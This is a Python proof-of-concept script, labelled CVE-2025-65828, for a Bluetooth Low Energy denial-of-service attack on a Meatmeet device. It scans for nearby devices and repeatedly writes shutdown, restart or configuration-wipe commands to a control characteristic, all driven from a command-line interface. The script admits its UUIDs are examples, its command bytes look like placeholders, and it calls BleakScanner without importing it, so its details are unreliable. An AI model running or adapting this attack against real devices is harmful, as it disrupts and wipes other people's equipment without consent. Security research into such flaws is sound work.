#!/usr/bin/env python3
"""
CVE-2025-65828 PoC - Meatmeet BLE Denial of Service
Author: Security Researcher
Note: This PoC is for educational and authorized testing purposes only.
"""
import asyncio
from bleak import BleakClient
import struct
# Meatmeet device BLE service UUIDs (example UUIDs, verify with actual device)
MEATMEET_SERVICE_UUID = "0000fff0-0000-1000-8000-00805f9b34fb"
MEATMEET_CONTROL_CHAR_UUID = "0000fff1-0000-1000-8000-00805f9b34fb"
# BLE commands for DoS attacks
COMMANDS = {
"shutdown": bytes([0x01, 0x00, 0x00]),
"restart": bytes([0x02, 0x00, 0x00]),
"clear_config": bytes([0x03, 0x00, 0x00])
}
async def dos_attack(target_mac: str, attack_type: str = "shutdown"):
"""
Perform BLE DoS attack on Meatmeet device.
Args:
target_mac: MAC address of target Meatmeet device
attack_type: Type of attack (shutdown, restart, clear_config)
"""
if attack_type not in COMMANDS:
print(f"[-] Invalid attack type: {attack_type}")
return
command = COMMANDS[attack_type]
print(f"[*] Starting {attack_type} attack on {target_mac}")
print(f"[*] Sending command: {command.hex()}")
try:
async with BleakClient(target_mac) as client:
if client.is_connected:
print(f"[+] Connected to device")
# Send DoS command
await client.write_gatt_char(
MEATMEET_CONTROL_CHAR_UUID,
command,
response=True
)
print(f"[+] {attack_type} command sent successfully")
# Send multiple times to ensure execution
for i in range(5):
await client.write_gatt_char(
MEATMEET_CONTROL_CHAR_UUID,
command,
response=True
)
await asyncio.sleep(0.1)
print(f"[+] Attack completed")
except Exception as e:
print(f"[-] Attack failed: {str(e)}")
async def scan_devices():
"""Scan for nearby Meatmeet devices."""
print("[*] Scanning for BLE devices...")
devices = await BleakScanner.discover(timeout=10.0)
meatmeet_devices = []
for device in devices:
if device.name and "meatmeet" in device.name.lower():
print(f"[+] Found Meatmeet device: {device.address}")
meatmeet_devices.append(device)
return meatmeet_devices
async def main():
import argparse
parser = argparse.ArgumentParser(description="CVE-2025-65828 PoC")
parser.add_argument("--target", "-t", help="Target device MAC address")
parser.add_argument("--attack", "-a", choices=["shutdown", "restart", "clear_config"],
default="shutdown", help="Attack type")
parser.add_argument("--scan", "-s", action="store_true", help="Scan for devices")
args = parser.parse_args()
if args.scan:
devices = await scan_devices()
if not devices:
print("[-] No Meatmeet devices found")
elif args.target:
await dos_attack(args.target, args.attack)
else:
parser.print_help()
if __name__ == "__main__":
asyncio.run(main())